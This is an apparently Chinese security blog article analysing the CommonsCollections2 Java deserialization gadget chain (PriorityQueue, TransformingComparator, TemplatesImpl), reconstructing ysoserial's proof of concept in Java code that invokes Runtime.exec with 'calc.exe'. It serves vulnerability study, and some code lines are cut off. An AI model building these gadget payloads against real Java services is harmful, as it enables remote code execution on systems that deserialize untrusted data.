Java反序列化漏洞-玄铁重剑之CommonsCollection(下)

b5mali4 / 2018-02-08 09:08:00 / 浏览数 6096 技术文章 技术文章 顶(0) 踩(0)

■■

前言:

玄铁重剑，是金庸小说笔下第一神剑。由「玄铁」制成，重八八六十四斤；由「剑魔」独孤求败所使，四十岁前持之无敌于天下。
独孤求败逝去后为杨过所得，并由独孤求败的「朋友」神雕引导，之后在神雕的指导下，也根据独孤求败的独门秘籍及练功方法，练成了一身天下无敌的剑法及内功心法。

主角:

CommonsCollection, commons-collections.jar

介绍:

Java Collections Framework 是JDK
1.2中的一个重要组成部分。它增加了许多强大的数据结构，加速了最重要的Java应用程序的开发。从那时起，它已经成为Java中集合处理的公认标准。官网介绍如下:

Commons Collections使用场景很广，很多商业,开源项目都使用到了commons-collections.jar。
很多组件，容器，cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

正文:

再讲一个执行链，在ysoserial中，CommonsCollections2提到了，通过上一篇的分析，我们得知执行链很多。接下来接着分析另外一个执行链,
需要借助的是PriorityQueue这个类，这里我找到了一条执行链

```
PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->Transf
```

这和ysoserial提到的是一样的, 下面我们自己来尝试构造下poc。
通过分析源码，我们可构造出TransformingComparator.compare的大致结构如下:

```
public static void main(final String[] args) throws Exception {
      runcompare();
   }
   public static void runcompare(){
          InvokerTransformer invokerTransformer= getInvokerTransformer();
          TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
          Runtime runtime1 = Runtime.getRuntime();
          transformingComparator.compare(runtime1, null);

      }
      public static InvokerTransformer getInvokerTransformer(){
          String[] cmds = new String[]{"calc.exe"};
          InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmd
          return invokerTransformer;
      }
```

其中PriorityQueue.siftDownUsingComparator调用compare的地方如下，查看源码可知，我们要将runtime对象放在 queue中。

通过分析源码得知， 必须要给comparator赋值，comparator的赋值操作可以在构造函数里面进行。

通过最终分析组合出如下poc:

```
public Queue<Object> getObject(final String command) throws Exception {
       PriorityQueue queue = getPriorityQueue();
       return queue;
   }

   public static void main(final String[] args) throws Exception {
       PayloadRunner.run(CommonsCollections2.class, args);
   }
   public static PriorityQueue getPriorityQueue() throws Exception {
       TransformingComparator transformingComparator = getTransformingComparator();
       PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
```

```
        priorityQueue.add(Runtime.getRuntime());
        return priorityQueue;
    }

    public static TransformingComparator getTransformingComparator(){
        InvokerTransformer invokerTransformer= getInvokerTransformer();
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        return transformingComparator;

    }
    public static InvokerTransformer getInvokerTransformer(){
        String[] cmds = new String[]{"calc.exe"};
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
        return invokerTransformer;
    }
    }
```

但是在序列化的时候就出错了，2333，
很显然，Runtime不能直接序列化，因为他没有实现接口。

那么想通过类似于CommonsCollection1的方式去执行函数，即

```
inal Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{
    String.class, Class[].class}, new Object[]{
    "getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{
    Object.class, Object[].class}, new Object[]{
    null, new Object[0]}),
    new InvokerTransformer("exec",
    new Class[]{String.class}, execArgs),
    new ConstantTransformer(1)};
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{new ConstantTransformer(1)});
    Transformer transformerChain = new ChainedTransformer(transformers);
```

然而并不行，这个类在commons-collections4.jar中不具有类。最终还是看了一下ysoserial的poc，发现其利用的到是TemplatesImpl类,后面很多反序列化都用到这个。

笔者记得在廖新喜师傅在分析fastsjon反序列化的时候也提到过这个，http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D
我们需要将一个编译成class
文件的类进行base64编码，并且赋值给_bytecodes，关于怎么做可以参考廖师傅的文章。我这里讲一下pwntester是怎么做的，这种做法需要借助ClassPool。

浅谈ClassPool怎么用:

classPool简单用法如下:

```
public class Main {
    public static void main(String[] args){
        try
        {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("net.codersec.Person");
            CtField ctField = new CtField(CtClass.intType, "name", ctClass);
            ctField.setModifiers(Modifier.PUBLIC);
            ctClass.addField(ctField);
            byte[] bytes = ctClass.toBytecode();
            FileOutputStream fileOutputStream = new FileOutputStream(new File("Person.class"));
            fileOutputStream.write(bytes);
            fileOutputStream.close();
        }catch (Exception e){
          e.printStackTrace();
        }
    }
    }
```

运行上面的代码就会生成一个class文件，反编译结果如下:

这里有一个小技巧，就是在Class.newInstance的时候，可以在Class的构造函数里面加要执行的恶意代码，但是也可以
通过insertAfter()将要执行的代码在构造函数运行后运行。

其生成的代码如下:

最终调试完成之后poc如下:

```
final Object templates = Gadgets.createTemplatesImpl(command);
   final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
   final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
   queue.add(templates);
   queue.add(templates);
   Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
   final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
   return queue;
```

其中用到的是函数
TemplatesImpl.newTransformer，而不是TemplatesImpl.getTransletInstance，因为getTransletInstance权限是private不能被直接反射?试了几个public权限的函数，比
且getOutputProperties，newTransformer中都有调用getTransletInstance。

拓展学习

其实除了InvokerTransformer.transformat，还可以利用InstantiateTransformer.transformat()，其中collcetion5就是利用了com.sun.org.apache.xalan.internal.xsltc.tra

其调用链更复杂

```
PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->Transf
```

参考链接

http://blog.csdn.net/a394268045/article/details/51996082
http://blog.csdn.net/yyywyr/article/details/16984335